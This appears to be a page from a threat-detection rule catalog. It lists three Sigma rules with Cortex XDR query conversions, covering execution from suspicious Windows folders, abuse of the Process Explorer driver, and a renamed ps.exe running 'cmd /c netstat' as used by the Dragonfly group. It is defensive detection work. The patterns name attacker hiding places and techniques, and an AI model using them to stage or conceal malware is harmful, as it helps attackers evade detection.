 ((action_process_image_path in ("*:\Perflogs\*", "*:\Users\All Users\*", "*:\Users\Default\*", "*:\Users\NetworkService\*", "*:\Windows\addins\*", "*:\Windows\debug\*", "*:\Windows\Fonts\*", "*:\Windows\Help\*", "*:\Windows\IME\*", "*:\Windows\Media\*", "*:\Windows\repair\*", "*:\Windows\security\*", "*:\Windows\System32\Tasks\*", "*:\Windows\Tasks\*", "*$Recycle.bin*", "*\config\systemprofile\*", "*\Intel\Logs\*", "*\RSA\MachineKeys\*")) and 
 (not 
 (action_process_image_path contains "C:\Users\Public\IBM\ClientSolutions\Start_Programs\" or 
 (action_process_image_path contains "C:\Windows\SysWOW64\config\systemprofile\Citrix\UpdaterBinaries\" and 
 action_process_image_path contains "\CitrixReceiverUpdater.exe")))))
view Sigma YAML
title: Process Execution From A Potentially Suspicious Folder
id: 3dfd06d2-eaf4-4532-9555-68aca59f57c4
status: test
description: Detects a potentially suspicious execution from an uncommon folder.
references:
    - https://github.com/mbevilacqua/appcompatprocessor/blob/6c847937c5a836e2ce2fe2b915f213c345a3c389/AppCompatSearch.txt
    - https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses
    - https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/
    - https://github.com/ThreatHuntingProject/ThreatHunting/blob/cb22598bb70651f88e0285abc8d835757d2cb596/hunts/suspicious_process_creation_via_windows_event_logs.md
author: Florian Roth (Nextron Systems), Tim Shelton
date: 2019-01-16
modified: 2024-07-12
tags:
    - attack.stealth
    - attack.t1036
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|contains:
            - ':\Perflogs\'
            - ':\Users\All Users\'
            - ':\Users\Default\'
            - ':\Users\NetworkService\'
            - ':\Windows\addins\'
            - ':\Windows\debug\'
            - ':\Windows\Fonts\'
            - ':\Windows\Help\'
            - ':\Windows\IME\'
            - ':\Windows\Media\'
            - ':\Windows\repair\'
            - ':\Windows\security\'
            - ':\Windows\System32\Tasks\'
            - ':\Windows\Tasks\'
            - '$Recycle.bin'
            - '\config\systemprofile\'
            - '\Intel\Logs\'
            - '\RSA\MachineKeys\'
    filter_optional_ibm:
        Image|startswith: 'C:\Users\Public\IBM\ClientSolutions\Start_Programs\'
    filter_optional_citrix:
        Image|startswith: 'C:\Windows\SysWOW64\config\systemprofile\Citrix\UpdaterBinaries\'
        Image|endswith: '\CitrixReceiverUpdater.exe'
    condition: selection and not 1 of filter_optional_*
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Strong Medium FP
Process Explorer Driver Creation By Non-Sysinternals Binary
Detects creation of the Process Explorer drivers by processes other than Process Explorer (procexp) itself. Hack tools or malware may use the Process Explorer driver to elevate privileges, drops it to disk for a few moments, runs a service using that driver and removes it afterwards.
status test author Florian Roth (Nextron Systems) ATT&CK technique id de46c52b-0bf8-4936-a327-aace94f94ac6
cortex_xdr query
config case_sensitive = false | preset=xdr_file | filter event_type = ENUM.FILE and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 ((action_file_name contains "\PROCEXP" and 
 action_file_name contains ".sys") and 
 (not 
 (actor_process_image_path in ("*\procexp.exe", "*\procexp64.exe")))))
view Sigma YAML
title: Process Explorer Driver Creation By Non-Sysinternals Binary
id: de46c52b-0bf8-4936-a327-aace94f94ac6
status: test
description: |
    Detects creation of the Process Explorer drivers by processes other than Process Explorer (procexp) itself.
    Hack tools or malware may use the Process Explorer driver to elevate privileges, drops it to disk for a few moments, runs a service using that driver and removes it afterwards.
references:
    - https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer
    - https://github.com/Yaxser/Backstab
    - https://www.elastic.co/security-labs/stopping-vulnerable-driver-attacks
    - https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/
author: Florian Roth (Nextron Systems)
date: 2023-05-05
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.t1068
logsource:
    product: windows
    category: file_event
detection:
    selection:
        TargetFilename|contains: '\PROCEXP'
        TargetFilename|endswith: '.sys'
    filter_main_process_explorer:
        Image|endswith:
            - '\procexp.exe'
            - '\procexp64.exe'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Some false positives may occur with legitimate renamed process explorer binaries
level: high
Convert to SIEM query
high Moderate High FP
Ps.exe Renamed SysInternals Tool
Detects renamed SysInternals tool execution with a binary named ps.exe as used by Dragonfly APT group and documented in TA17-293A report
status test author Florian Roth (Nextron Systems) ATT&CK sub-technique id 18da1007-3f26-470f-875d-f77faf1cab31
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 (action_process_image_command_line contains "ps.exe -accepteula" and 
 action_process_image_command_line contains "-s cmd /c netstat"))
view Sigma YAML
title: Ps.exe Renamed SysInternals Tool
id: 18da1007-3f26-470f-875d-f77faf1cab31
status: test
description: Detects renamed SysInternals tool execution with a binary named ps.exe as used by Dragonfly APT group and documented in TA17-293A report
references:
    - https://www.us-cert.gov/ncas/alerts/TA17-293A
author: Florian Roth (Nextron Systems)
date: 2017-10-22
modified: 2023-05-02
tags:
    - attack.stealth
    - attack.g0035
    - attack.t1036.003
    - car.2013-05-009
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains|all:
            - 'ps.exe -accepteula'
            - '-s cmd /c netstat'
    condition: selection
falsepositives:
    - Renamed SysInternals tool
level: high
Convert to SIEM query
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